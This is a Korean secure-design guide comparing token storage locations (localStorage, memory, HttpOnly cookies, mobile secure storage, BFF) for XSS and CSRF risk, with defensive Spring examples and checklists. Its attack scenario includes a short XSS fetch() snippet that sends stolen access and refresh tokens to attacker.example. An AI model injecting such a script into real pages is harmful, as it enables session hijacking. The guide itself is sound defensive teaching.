이 문서를 통해 아래 질문들에 답할 수 있게 됩니다.

  • localStorage, memory, HttpOnly Cookie, 모바일 secure storage는 어떤 탈취 위험이 다른가?
  • XSS와 CSRF를 token 저장 위치 선택에서 어떻게 함께 고려하는가?
  • 저장 위치 결정은 프론트 편의가 아니라 어떤 운영 기준으로 내려야 하는가?

개요

Token 저장 위치는 “어디가 제일 안전한가”로 끝나는 문제가 아니다.

저장 위치마다 공격면이 다르다.

  • localStorage는 JavaScript가 읽기 쉬워 XSS에 취약하다.
  • memory 저장은 새로고침에 약하지만 지속 노출 시간이 짧다.
  • HttpOnly Cookie는 JavaScript 읽기를 줄이지만 CSRF와 자동 전송을 고려해야 한다.
  • 모바일 secure storage는 OS 보호를 받을 수 있지만 기기 탈취와 백업 정책을 봐야 한다.
  • BFF 패턴은 browser에 token을 직접 주지 않지만 서버 세션과 CSRF 방어가 필요하다.

공격 시나리오

SPA가 access token과 refresh token을 localStorage에 저장한다.

공격자는 게시글 댓글 XSS를 통해 다음 스크립트를 실행한다.

fetch("https://attacker.example/steal", {
  method: "POST",
  body: JSON.stringify({
    access: localStorage.getItem("access_token"),
    refresh: localStorage.getItem("refresh_token")
  })
});

refresh token까지 탈취되면 공격자는 사용자가 브라우저를 닫아도 새 access token을 계속 받을 수 있다.

반대로 refresh token을 HttpOnly Cookie에 넣으면 JavaScript 읽기는 줄지만, refresh endpoint가 CSRF에 취약하면 공격자가 피해자의 브라우저로 token 재발급을 유도할 수 있다.

취약한 요청/응답 예시

HTTP/1.1 200 OK
Content-Type: application/json
 
{
  "accessToken": "at-long-lived",
  "refreshToken": "rt-long-lived",
  "expiresIn": 86400
}
localStorage.setItem("access_token", response.accessToken);
localStorage.setItem("refresh_token", response.refreshToken);

긴 수명의 refresh token을 JavaScript 접근 가능 저장소에 두면 XSS 한 번으로 장기 세션이 탈취된다.

주제별 핵심 판단

저장 위치장점주요 위험
localStorage구현이 쉽고 새로고침 후 유지된다XSS로 token 원문 탈취
sessionStorage탭 단위 유지XSS로 접근 가능
memory탈취 지속 시간이 짧다새로고침과 multi-tab UX가 어렵다
HttpOnly CookieJavaScript 읽기 제한CSRF, cookie scope 실수
모바일 secure storageOS 보호 활용기기 탈취, root/jailbreak, 백업
BFF server sessionbrowser token 노출 감소서버 상태, CSRF, 세션 운영 필요

정답은 제품 구조와 공격 모델에 따라 달라진다.

개선된 요청/응답 예시

Browser 기반 앱에서 흔한 선택지는 다음과 같다.

  • 개선된 설계는 token 저장 위치를 XSS, CSRF, 모바일 탈취, 로그 노출 위험과 함께 비교한다.
  • 브라우저 JavaScript가 읽는 저장소를 선택했다면 CSP, 출력 인코딩, 짧은 TTL을 같이 요구한다.

방어 설계

access token:
  - 짧은 TTL
  - 가능하면 memory 저장
  - 민감 claim 최소화
 
refresh token:
  - HttpOnly Secure SameSite Cookie
  - refresh endpoint path 제한
  - rotation과 reuse detection
  - CSRF 또는 Origin 검증

BFF 패턴을 쓰면 browser는 token을 직접 저장하지 않고 server session cookie만 가진다.

Browser -> BFF session cookie
BFF -> API access token

이 경우에도 session cookie 보안, CSRF, session store, logout 처리는 필요하다.

모바일 앱은 refresh token을 OS secure storage에 저장하되, device binding, root/jailbreak 탐지, token rotation, 원격 logout을 함께 본다.

Spring/HTTP 예시

refresh token을 HttpOnly Cookie로 발급하는 예시다.

public ResponseCookie refreshTokenCookie(String token) {
    return ResponseCookie.from("refresh_token", token)
        .httpOnly(true)
        .secure(true)
        .sameSite("Strict")
        .path("/api/auth/refresh")
        .maxAge(Duration.ofDays(14))
        .build();
}

refresh endpoint는 Origin과 CSRF 성격의 nonce를 함께 볼 수 있다.

@PostMapping("/api/auth/refresh")
public ResponseEntity<TokenResponse> refresh(
        @CookieValue("refresh_token") String refreshToken,
        @RequestHeader("Origin") String origin,
        @RequestHeader("X-Refresh-Nonce") String nonce,
        HttpServletRequest request) {
 
    refreshRequestGuard.verify(origin, nonce, ClientSignal.from(request));
    TokenRotationResult result = refreshTokenService.rotate(refreshToken, ClientSignal.from(request));
    return ResponseEntity.ok(TokenResponse.from(result.accessToken()));
}

SameSite가 있더라도 민감한 refresh 경계에는 명시적 검증을 추가하는 편이 안전하다.

운영 로그와 감사 지점

level=WARN event=token_storage_policy_violation result=blocked client_type=spa token_type=refresh_token storage=localStorage reason=javascript_accessible trace_id=ce7110a1
level=WARN event=refresh_request_rejected result=blocked reason=origin_mismatch origin=https://evil.example path=/api/auth/refresh trace_id=ce7110a2

운영에서 storage 정책 위반을 자동으로 알기는 어렵다. 대신 보안 리뷰 체크리스트, CSP report, XSS 탐지, refresh token reuse 이벤트를 연결해야 한다.

실전 판단 기준

  • refresh token이 localStorage나 sessionStorage에 저장되지 않는가?
  • localStorage는 CSRF에는 유리할 수 있지만 XSS에 취약하다.
  • HttpOnly cookie는 XSS token 읽기를 줄이지만 CSRF와 SameSite 정책을 함께 봐야 한다.

테스트 포인트

  • access token TTL이 XSS 탈취 피해를 줄일 만큼 짧은가?
  • refresh token cookie가 HttpOnly, Secure, SameSite, 좁은 Path를 가지는가?
  • refresh endpoint가 CSRF나 Origin 검증 없이 동작하지 않는가?
  • CSP와 출력 인코딩으로 XSS 가능성을 줄이고 있는가?
  • token 탈취 의심 시 기기별 logout과 token family 폐기가 가능한가?

위험 신호!

  • refresh token을 localStorage에 저장한다.
  • access token과 refresh token의 수명이 모두 길다.
  • XSS 방어 없이 “JWT니까 stateless라 안전하다”고 말한다.
  • HttpOnly Cookie를 쓰면서 CSRF 방어를 제거한다.
  • 모바일 앱에서 secure storage 없이 plain preference에 token을 저장한다.
  • 저장 위치 결정이 보안 리뷰 없이 프론트 구현 편의로만 정해진다.

확인 질문

확인 질문

  • localStorage가 token 저장소로 위험한 이유는 무엇인가?
    • XSS가 발생하면 JavaScript가 token 원문을 읽어 외부로 보낼 수 있기 때문이다.
  • HttpOnly Cookie를 쓰면 끝이 아닌 이유는 무엇인가?
    • JavaScript 읽기는 줄지만 브라우저 자동 전송으로 CSRF와 cookie scope 문제를 여전히 고려해야 하기 때문이다.
  • 저장 위치 선택에서 가장 먼저 볼 기준은 무엇인가?
    • 탈취 가능성, 자동 전송 여부, 폐기 가능성, refresh token 회전, 운영 탐지 가능성을 함께 봐야 한다.

참고 문서